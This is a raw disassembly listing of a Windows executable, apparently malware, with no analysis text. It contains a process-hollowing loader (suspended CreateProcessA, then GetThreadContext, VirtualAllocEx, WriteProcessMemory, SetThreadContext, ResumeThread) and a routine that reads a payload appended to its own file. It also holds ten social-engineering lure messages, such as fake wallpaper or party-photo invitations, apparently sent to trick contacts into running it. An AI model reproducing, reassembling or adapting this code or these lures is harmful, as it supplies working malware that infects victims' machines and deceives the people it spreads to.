loc_40017AF2:				; CODE XREF: sub_40017A1C+CDj
		inc	ebx
		dec	edi
		jnz	short loc_40017AE2


loc_40017AF6:				; CODE XREF: sub_40017A1C+C1j
		mov	ecx, eax
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		call	sub_40006750
		mov	eax, [ebp+var_10]
		mov	edx, [eax+38h]
		mov	eax, [ebp+var_10]
		mov	eax, [eax+54h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_10]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_40017B98
		inc	edi
		xor	ebx, ebx


loc_40017B29:				; CODE XREF: sub_40017A1C+17Aj
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		test	eax, eax
		jbe	short loc_40017B72
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+8]
		jbe	short loc_40017B44
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]


loc_40017B44:				; CODE XREF: sub_40017A1C+11Fj
		lea	edx, [ebx+ebx*4]
		mov	edx, [esi+edx*8+14h]
		add	edx, [ebp+var_8]
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		call	sub_40006750
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_10]
		mov	edx, [edx+38h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax
		jmp	short loc_40017B94
; ---------------------------------------------------------------------------


loc_40017B72:				; CODE XREF: sub_40017A1C+116j
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_40017B94
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_10]
		mov	edx, [edx+38h]
		call	sub_400178BC
		add	eax, [ebp+var_C]
		mov	[ebp+var_C], eax


loc_40017B94:				; CODE XREF: sub_40017A1C+154j
					; sub_40017A1C+15Ej
		inc	ebx
		dec	edi
		jnz	short loc_40017B29


loc_40017B98:				; CODE XREF: sub_40017A1C+108j
		lea	eax, [ebp+var_74]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_40003580
		lea	eax, [ebp+var_248]
		xor	ecx, ecx
		mov	edx, 0CCh
		call	sub_40003580
		cmp	[ebp+var_4], 0
		jz	short loc_40017C1D
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_250]
		lea	edx, [ebp+var_179]
		mov	ecx, 105h
		call	sub_40004AF4
		push	[ebp+var_250]
		push	offset dword_40017D80
		push	[ebp+var_4]
		lea	eax, [ebp+var_24C]
		mov	edx, 3
		call	sub_40004C08
		mov	eax, [ebp+var_24C]
		call	sub_40004D48
		push	eax
		push	0
		call	ds:dword_4001F38C	; CreateProcessA
		jmp	short loc_40017C5B
; ---------------------------------------------------------------------------


loc_40017C1D:				; CODE XREF: sub_40017A1C+1A1j
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_254]
		lea	edx, [ebp+var_179]
		mov	ecx, 105h
		call	sub_40004AF4
		mov	eax, [ebp+var_254]
		call	sub_40004D48
		push	eax
		push	0
		call	ds:dword_4001F38C	; CreateProcessA


loc_40017C5B:				; CODE XREF: sub_40017A1C+1FFj
		call	sub_400179D4
		mov	[ebp+var_248], 10007h
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F388	; GetThreadContext
		lea	eax, [ebp+var_1C]
		push	eax
		push	4
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_1A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F384	; ReadProcessMemory
		push	40h
		push	3000h
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F380	; VirtualAllocEx
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F3A8	; WriteProcessMemory
		lea	eax, [ebp+var_1C]
		push	eax
		push	4
		mov	eax, [ebp+var_10]
		add	eax, 34h
		push	eax
		mov	eax, [ebp+var_1A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		call	ds:dword_4001F3A8	; WriteProcessMemory
		mov	eax, [ebp+var_10]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_10]
		add	eax, [edx+28h]
		mov	[ebp+var_198], eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F37C	; SetThreadContext
		mov	eax, [ebp+var_2C]
		push	eax
		call	ds:dword_4001F378	; ResumeThread
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017D44


loc_40017D2D:				; CODE XREF: sub_40017A1C+326j
		call	sub_400179D4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_400062D8
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40017D3D:				; DATA XREF: sub_40017A1C+91o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017D2D
; ---------------------------------------------------------------------------


loc_40017D44:				; CODE XREF: sub_40017A1C+320j
					; DATA XREF: sub_40017A1C+30Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017D71


loc_40017D51:				; CODE XREF: sub_40017A1C+353j
		lea	eax, [ebp+var_254]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40017D6A:				; DATA XREF: sub_40017A1C+31o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017D51
; ---------------------------------------------------------------------------


loc_40017D71:				; CODE XREF: sub_40017A1C+34Dj
					; DATA XREF: sub_40017A1C+330o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40017A1C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_40017D80	dd 20h		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40017D84	proc near		; CODE XREF: .itext:400199CCp

var_174		= byte ptr -174h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_14C		= byte ptr -14Ch
var_146		= word ptr -146h
var_54		= byte ptr -54h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE8Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40017F00
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		call	ds:dword_4001F3B4	; CreateFileA
		mov	esi, eax
		push	0
		push	0
		push	0
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	40h
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	[ebp+var_10], 40h
		jnz	loc_40017EE3
		push	0
		push	0
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	0F8h
		lea	eax, [ebp+var_14C]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	[ebp+var_10], 0F8h
		jnz	loc_40017EDA
		push	1
		push	0
		movzx	eax, [ebp+var_146]
		dec	eax
		add	eax, eax
		add	eax, eax
		add	eax, eax
		lea	eax, [eax+eax*4]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	28h
		lea	eax, [ebp+var_174]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		mov	eax, [ebp+var_160]
		add	eax, [ebp+var_164]
		mov	[ebp+var_14], eax
		push	0
		push	esi
		call	ds:dword_4001F3C0	; GetFileSize
		mov	edi, eax
		sub	edi, [ebp+var_14]
		test	edi, edi
		jbe	short loc_40017ED1
		push	0
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		push	esi
		call	ds:dword_4001F3B8	; SetFilePointer
		mov	eax, edi
		call	sub_40002C20
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	eax
		push	esi
		call	ds:dword_4001F3BC	; ReadFile
		cmp	edi, [ebp+var_10]
		jnz	short loc_40017EC8
		mov	bl, 1
		mov	eax, [ebp+var_C]
		mov	[eax], edi
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EC8:				; CODE XREF: sub_40017D84+132j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017ED1:				; CODE XREF: sub_40017D84+FEj
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EDA:				; CODE XREF: sub_40017D84+A6j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle
		jmp	short loc_40017EEA
; ---------------------------------------------------------------------------


loc_40017EE3:				; CODE XREF: sub_40017D84+71j
		push	esi
		call	ds:dword_4001F3C4	; CloseHandle


loc_40017EEA:				; CODE XREF: sub_40017D84+142j
					; sub_40017D84+14Bj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40017F07


loc_40017EF7:				; CODE XREF: sub_40017D84+181j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40017F00:				; DATA XREF: sub_40017D84+20o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40017EF7
; ---------------------------------------------------------------------------


loc_40017F07:				; CODE XREF: sub_40017D84+17Bj
					; DATA XREF: sub_40017D84+16Eo
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40017D84	endp


; =============== S U B	R O U T	I N E =======================================



sub_40017F10	proc near		; CODE XREF: .itext:4001941Ep
		push	ebx
		mov	ebx, eax
		call	sub_40003058
		mov	eax, 9
		call	sub_40003080
		mov	ds:dword_4001F6E0, eax
		mov	eax, ds:dword_4001F6E0
		cmp	eax, 9		; switch 10 cases
		ja	loc_40017FEE	; default
		jmp	ds:off_40017F3C[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40017F3C	dd offset loc_40017F64	; DATA XREF: sub_40017F10+25r
		dd offset loc_40017F72	; jump table for switch	statement
		dd offset loc_40017F80
		dd offset loc_40017F8E
		dd offset loc_40017F9C
		dd offset loc_40017FAA
		dd offset loc_40017FB8
		dd offset loc_40017FC6
		dd offset loc_40017FD4
		dd offset loc_40017FE2
; ---------------------------------------------------------------------------


loc_40017F64:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 0
		mov	edx, offset aHahaLookAtThis ; "haha, look at this Wallpaper :D its gre"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F72:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 1
		mov	edx, offset aLookAtThisNewG ; "Look at this new	game...	:D, Look at my"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F80:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 2
		mov	edx, offset aLookiMyNewHair ; "Looki ^^, my new	hair style what	you th"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F8E:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 3
		mov	edx, offset aWonnaSeeARealE ; "Wonna see a real	evil pic? :D mwahaha B"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017F9C:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 4
		mov	edx, offset aNowThisIsWhatI ; "Now this	is what	i call Pure Ownage..."
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FAA:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 5
		mov	edx, offset aIFinallyGotANe ; "I finally got a new car,	what you think"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FB8:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 6
		mov	edx, offset aOoooTellMeIfYo ; "oooo Tell me if you like	my new compute"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FC6:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 7
		mov	edx, offset aTellMeIfThisLo ; "Tell me if this looks coo, i made my ow"...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FD4:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 8
		mov	edx, offset aIWentToAPartyL ; "I went to a party last night, i got so "...
		call	sub_400048D8
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40017FE2:				; CODE XREF: sub_40017F10+25j
					; DATA XREF: sub_40017F10:off_40017F3Co
		mov	eax, ebx	; jumptable 40017F35 case 9
		mov	edx, offset aYouGotoSeeThis ; "You goto	see this pic, its brilliant ^_"...
		call	sub_400048D8


loc_40017FEE:				; CODE XREF: sub_40017F10+1Fj
		pop	ebx		; default
		retn
sub_40017F10	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 29h
aHahaLookAtThis	db 'haha, look at this Wallpaper :D its great',0
					; DATA XREF: sub_40017F10+56o
		align 4
		dd 0FFFFFFFFh, 38h
aLookAtThisNewG	db 'Look at this new game... :D, Look at my kills :P Ownage?',0
					; DATA XREF: sub_40017F10+64o
		align 4
		dd 0FFFFFFFFh, 2Bh
aLookiMyNewHair	db 'Looki ^^, my new hair style what you think?',0
					; DATA XREF: sub_40017F10+72o
		dd 0FFFFFFFFh, 40h
aWonnaSeeARealE	db 'Wonna see a real evil pic? :D mwahaha Bin-Ladin in a Blender ^_^',0
					; DATA XREF: sub_40017F10+80o
		align 4
		dd 0FFFFFFFFh, 26h
aNowThisIsWhatI	db 'Now this is what i call Pure Ownage...',0 ; DATA XREF: sub_40017F10+8Eo
		align 4
		dd 0FFFFFFFFh, 28h
aIFinallyGotANe	db 'I finally got a new car, what you think?',0
					; DATA XREF: sub_40017F10+9Co
		align 4
		dd 0FFFFFFFFh, 41h
aOoooTellMeIfYo	db 'oooo Tell me if you like my new computer :) taken me ages to make'
					; DATA XREF: sub_40017F10+AAo
		db 0
		align 4
		dd 0FFFFFFFFh, 5Ch
aTellMeIfThisLo	db 'Tell me if this looks coo, i made my own Skin for Windows :), All'
					; DATA XREF: sub_40017F10+B8o
		db ' blue and grey and stuff ^^',0
		align 10h
		dd 0FFFFFFFFh, 70h
aIWentToAPartyL	db 'I went to a party last night, i got so wasted, hehe, here is a pi'
					; DATA XREF: sub_40017F10+C6o
		db 'c of me trying to do that Cloth trick on tables',0
		align 4
		dd 0FFFFFFFFh, 28h
aYouGotoSeeThis	db 'You goto see this pic, its brilliant ^_^',0
					; DATA XREF: sub_40017F10+D4o
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400182B0	proc near		; DATA XREF: .text:400183E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40018301
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_40023C68
		call	sub_40006204
		mov	eax, offset dword_40023C6C
		call	sub_40006204
		mov	eax, offset dword_40023C70
		call	sub_40006204
		mov	eax, offset dword_40023C74
		call	sub_40006204
		mov	eax, offset dword_40023C78
		call	sub_40004884
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40018308


loc_40018300:				; CODE XREF: sub_400182B0+56j
		retn
; ---------------------------------------------------------------------------


loc_40018301:				; DATA XREF: sub_400182B0+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40018300
; ---------------------------------------------------------------------------


loc_40018308:				; CODE XREF: sub_400182B0:loc_40018300j
					; DATA XREF: sub_400182B0+4Bo
		pop	ebp
		retn
sub_400182B0	endp

; ---------------------------------------------------------------------------
		align 4
dword_4001830C	dd 1Bh							; .bss:off_4001E7D0o
		dd offset dword_40018314
dword_40018314	dd 2 dup(0)			dd offset loc_40019000
		dd offset sub_40006350
		dd 2 dup(0)
		dd offset loc_40019098
		dd offset sub_40006758
		dd 0Eh dup(0)
		dd offset sub_400190AC
		dd offset sub_4000CC50
		dd offset loc_40019133+1
		dd offset sub_4000D598
		dd offset sub_40019144
		dd offset sub_40012E54
		dd 2 dup(0)
		dd offset loc_400191F0
		dd offset sub_40012F38
		dd offset sub_400191F8
		dd offset sub_40013ED4
		dd offset loc_4001928C
		dd offset sub_40013FA4
		dd offset loc_40019294
		dd offset sub_40014740
		dd 2 dup(0)
		dd offset byte_4001929C
		dd offset sub_40015C34
		dd 4 dup(0)
		dd offset loc_40019398
		dd offset sub_40016AB0
		dd 5 dup(0)
		dd offset sub_400182B0
		dd 5 dup(?)
_text		ends

; ---------------------------------------------------------------------------
; Section 2. (virtual address 00019000)
; Virtual size			: 00000BFC (   3068.)
; Section size in file		: 00000BFC (   3068.)
; Offset to raw	data for section: 00019000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_itext		segment	para public 'CODE' use32
		assume cs:_itext
		;org 40019000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing


loc_40019000:				; DATA XREF: .text:4001831Co
		sub	ds:dword_4001C5B8, 1
		jnb	locret_40019094
		call	sub_400029FC
		mov	byte_4001A00C, 2
		mov	ds:off_4001C014, offset	sub_40001168
		mov	ds:off_4001C018, offset	sub_40001178
		mov	ds:byte_4001C04E, 2
		mov	ds:off_4001C000, offset	sub_40005694
		call	sub_40003B64
		test	al, al
		jz	short loc_4001904C
		call	sub_40003B94


loc_4001904C:				; CODE XREF: .itext:40019045j
		call	sub_40003C58
		mov	ds:word_4001C054, 0D7B0h
		mov	ds:word_4001C220, 0D7B0h
		mov	ds:word_4001C3EC, 0D7B0h
		call	sub_400011D0	; GetCommandLineA
		mov	ds:dword_4001C040, eax
		call	sub_400012A0
		mov	ds:dword_4001C03C, eax
		call	sub_40006348	; GetACP
		mov	ds:dword_4001C5BC, eax
		call	sub_40001288	; GetCurrentThreadId
		mov	ds:dword_4001C034, eax

locret_40019094:			; CODE XREF: .itext:40019007j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40019098:				; DATA XREF: .text:4001832Co
		sub	ds:dword_4001E800, 1
		jnb	short locret_400190A8
		xor	eax, eax
		mov	ds:dword_4001E804, eax

locret_400190A8:			; CODE XREF: .itext:4001909Fj
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400190AC	proc near		; DATA XREF: .text:4001836Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4001911E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001E918, 1
		jnb	short loc_40019110
		mov	eax, offset dword_4000C980
		call	sub_40004624
		mov	eax, offset dword_4000CA6C
		call	sub_4000464C
		cmp	ds:byte_4001E7F5, 0
		jz	short loc_400190F2
		mov	eax, offset off_4001A84C
		mov	edx, offset loc_40019130
		call	sub_400048D8


loc_400190F2:				; CODE XREF: sub_400190AC+35j
		call	sub_4000B72C
		mov	eax, offset sub_4000C230
		call	sub_400060A4
		call	sub_4000B830
		call	sub_4000C4D8
		call	sub_4000BE64


loc_40019110:				; CODE XREF: sub_400190AC+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019125


loc_4001911D:				; CODE XREF: sub_400190AC+77j
		retn
; ---------------------------------------------------------------------------


loc_4001911E:				; DATA XREF: sub_400190AC+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001911D
; ---------------------------------------------------------------------------


loc_40019125:				; CODE XREF: sub_400190AC:loc_4001911Dj
					; DATA XREF: sub_400190AC+6Co
		pop	ebp
		retn
sub_400190AC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
; ---------------------------------------------------------------------------


loc_40019130:				; DATA XREF: sub_400190AC+3Co
		xor	[eax+0], bh


loc_40019133:				; DATA XREF: .text:40018374o
		add	[ebx+1F2802Dh],	al
		inc	eax
		add	[ebx+5], esi
		call	sub_4000D28C
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40019144	proc near		; DATA XREF: .text:4001837Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_400191E5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001F2A4, 1
		jnb	short loc_400191D7
		mov	eax, offset dword_4001F284
		call	sub_40012AC4
		mov	eax, offset sub_4000E0EC
		mov	ds:off_4001F294, eax
		mov	eax, offset sub_4000DC90
		mov	ds:off_4001F298, eax
		mov	edx, offset sub_4000DBA0
		mov	ds:off_4001F29C, edx
		mov	ds:off_4001F2A0, eax
		mov	eax, offset sub_4000E3EC
		mov	edx, off_4001AFD0
		mov	[edx], eax
		mov	eax, offset sub_400127B8
		mov	edx, off_4001AEE4
		mov	[edx], eax
		mov	eax, offset sub_4000E700
		mov	edx, off_4001B018
		mov	[edx], eax
		mov	eax, offset sub_400116DC
		mov	edx, off_4001B0B4
		mov	[edx], eax
		mov	eax, offset sub_40011DFC
		mov	edx, off_4001B024
		mov	[edx], eax
		push	offset dword_4001F2AC
		call	sub_400065E0	; InitializeCriticalSection


loc_400191D7:				; CODE XREF: sub_40019144+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400191EC


loc_400191E4:				; CODE XREF: sub_40019144+A6j
		retn
; ---------------------------------------------------------------------------


loc_400191E5:				; DATA XREF: sub_40019144+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400191E4
; ---------------------------------------------------------------------------


loc_400191EC:				; CODE XREF: sub_40019144:loc_400191E4j
					; DATA XREF: sub_40019144+9Bo
		pop	ebp
		retn
sub_40019144	endp

; ---------------------------------------------------------------------------
		align 10h


loc_400191F0:				; DATA XREF: .text:4001838Co
		sub	ds:dword_4001F2C4, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400191F8	proc near		; DATA XREF: .text:40018394o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40019281
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_4001F2D0, 1
		jnb	short loc_40019273
		call	sub_40013E14
		mov	eax, offset sub_40013ECC
		call	sub_40006094
		mov	dl, 1
		mov	eax, ds:off_40007908
		call	sub_4000C69C
		mov	edx, eax
		test	edx, edx
		jz	short loc_40019236
		sub	edx, 0FFFFFFD4h


loc_40019236:				; CODE XREF: sub_400191F8+39j
		mov	eax, offset dword_4001F2C8
		call	sub_4000621C
		mov	dl, 1
		mov	eax, ds:off_40013214
		call	sub_400133D4
		mov	ds:dword_4001F2D8, eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F2D4, eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F2E0, eax


loc_40019273:				; CODE XREF: sub_400191F8+18j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40019288


loc_40019280:				; CODE XREF: sub_400191F8+8Ej
		retn
; ---------------------------------------------------------------------------


loc_40019281:				; DATA XREF: sub_400191F8+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40019280
; ---------------------------------------------------------------------------


loc_40019288:				; CODE XREF: sub_400191F8:loc_40019280j
					; DATA XREF: sub_400191F8+83o
		pop	ebp
		retn
sub_400191F8	endp

; ---------------------------------------------------------------------------
		align 4


loc_4001928C:				; DATA XREF: .text:4001839Co
		sub	ds:dword_4001F2FC, 1
		retn
; ---------------------------------------------------------------------------


loc_40019294:				; DATA XREF: .text:400183A4o
		sub	ds:dword_4001F300, 1
		retn
; ---------------------------------------------------------------------------
byte_4001929C	db 83h,	2Dh		; DATA XREF: .text:400183B4o
		dd offset dword_4001F308
		dw 0F01h
		db 83h,	0EDh, 0
		align 4
		dd 0C632E800h
		db 2 dup(0FFh),	68h
		dd offset dword_4001F320
		db 0E8h
		dd 0FFFED328h
		db 68h
		dd offset dword_4001F338
		db 0E8h, 1Eh, 0D3h
		dd 76AFFFEh, 0FED3E7E8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F310[ebx]
; ---------------------------------------------------------------------------
		dw 56Ah
		dd 0FED3DBE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F314[ebx]
; ---------------------------------------------------------------------------
		dw 0D6Ah
		dd 0FED3CFE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F318[ebx]
; ---------------------------------------------------------------------------
		dw 68h
		dd 6A00007Fh, 0D43EE800h
		db 0FEh, 0FFh, 0A3h
		dd offset dword_4001F31C
		db 0E8h
		dd 0FFFFC660h, 30B966h
		db 0B2h, 1, 0A1h
		dd offset off_400147BC
		db 0E8h
		dd 0FFFFB584h
		db 0A3h
		dd offset dword_4001F350
		db 66h,	0B9h, 10h
		dd 0A101B200h
		dd offset off_400147BC
		dd 0FFB56FE8h
; ---------------------------------------------------------------------------
		jmp	ds:dword_4001F354[ebx]
; ---------------------------------------------------------------------------
		dw 0B966h
		dd 1B20010h
		db 0A1h
		dd offset off_40014824
		db 0E8h, 5Ah, 0B5h
		db 2 dup(0FFh),	0A3h
		dd offset dword_4001F358
		db 0B2h
		db 1, 0A1h
		dd offset off_40015ADC
		dw 0F1E8h
; ---------------------------------------------------------------------------
		mov	edi, 0F360A3FFh
		add	[eax-4Eh], eax
		add	ds:off_400130A4[ecx], esp
		call	sub_4001394C
		mov	dword_4001AD44,	eax
		mov	dl, 1
		mov	eax, ds:off_400130A4
		call	sub_4001394C
		mov	ds:dword_4001F35C, eax
		mov	ecx, offset sub_40014D6C
		mov	edx, offset sub_40014D7C
		mov	eax, ds:off_40014788
		call	sub_400135EC
		mov	ecx, offset loc_40014F40
		mov	edx, offset loc_40014F50
		mov	eax, ds:off_400147A0
		call	sub_400135EC
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40019398:				; DATA XREF: .text:400183CCo
		sub	ds:dword_4001F364, 1
		jnb	short locret_400193EC
		call	sub_4001607C
		mov	eax, offset sub_400166E8
		mov	edx, off_4001B02C
		mov	[edx], eax
		mov	eax, off_4001AEF8
		mov	dword ptr [eax], offset	sub_40016958
		mov	eax, offset sub_40016180
		mov	edx, off_4001B054
		mov	[edx], eax
		mov	eax, off_4001AED4
		cmp	byte ptr [eax],	0
		jnz	short locret_400193EC
		mov	eax, off_4001AFB8
		mov	eax, [eax]
		mov	ds:dword_4001F370, eax
		mov	eax, off_4001AFB8
		mov	dword ptr [eax], offset	sub_40016A34

locret_400193EC:			; CODE XREF: .itext:4001939Fj
					; .itext:400193D3j
		retn
; ---------------------------------------------------------------------------
		align 10h

		public start
start:
		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_400193F8:				; CODE XREF: .itext:400193FDj
		push	0
		push	0
		dec	ecx
		jnz	short loc_400193F8
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_4001830C
		call	sub_40006474
